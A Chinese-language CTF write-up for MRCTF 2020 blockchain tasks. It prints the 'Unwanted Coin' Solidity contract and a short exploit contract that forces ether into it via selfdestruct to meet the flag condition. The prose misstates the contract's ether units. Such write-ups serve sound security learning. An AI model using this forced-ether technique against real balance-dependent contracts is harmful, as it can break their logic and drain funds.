MRCTF 2020 BlockChain Wp

M

SIMPLEREVEAL

区块链签到题,直接找到合约查看一下变量就行:

Unwanted Coin

合约代码给出来了:

pragma solidity >=0.6.1;

contract Modcoin {
    mapping(uint256 => bool) public is_successful;
    function recvpay() public payable {
        require(((msg.value / 0.001 ether ) % 2 == 0 && ((msg.value % 0.001 ether) == 0)), "Not Accepting These Coins.");
    }
    function getflag(uint256 target) public {
        require((address(this).balance / 0.001 ether ) % 2 == 1,"Not Wanted value");
        require(msg.sender.send(address(this).balance));
        is_successful[target] = true;
    }
    fallback () external payable {
        require(((msg.value / 0.001 ether ) % 2 == 0 && ((msg.value % 0.001 ether) == 0)), "Not Accepting These Coins.");
    }
}

这个合约的意思大概是只能给本合约转 0.02 为单位的 ETH,拿 flag 的条件是合约的 Eth / 0.01 是奇数。

这个考点在这里,基本就是原题,利用合约自爆就行,exp:

pragma solidity ^0.4.23;
contract boomshakalaka{
    // Author : imagin
    // Blog : https://imagin.vip
    // Filename : exp.sol
    address to;
    constructor() public payable{
        to = 0x1d65b762D52A0644CCfaAD2747D6ccb57A163e72;
    }
    function kill() public {
        selfdestruct(to);
    }
}
不小心还拿了个一血 23333

本来说还有一个题,但是中间好像出题人去肝 DDL 所以咕咕咕了,可惜可惜。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.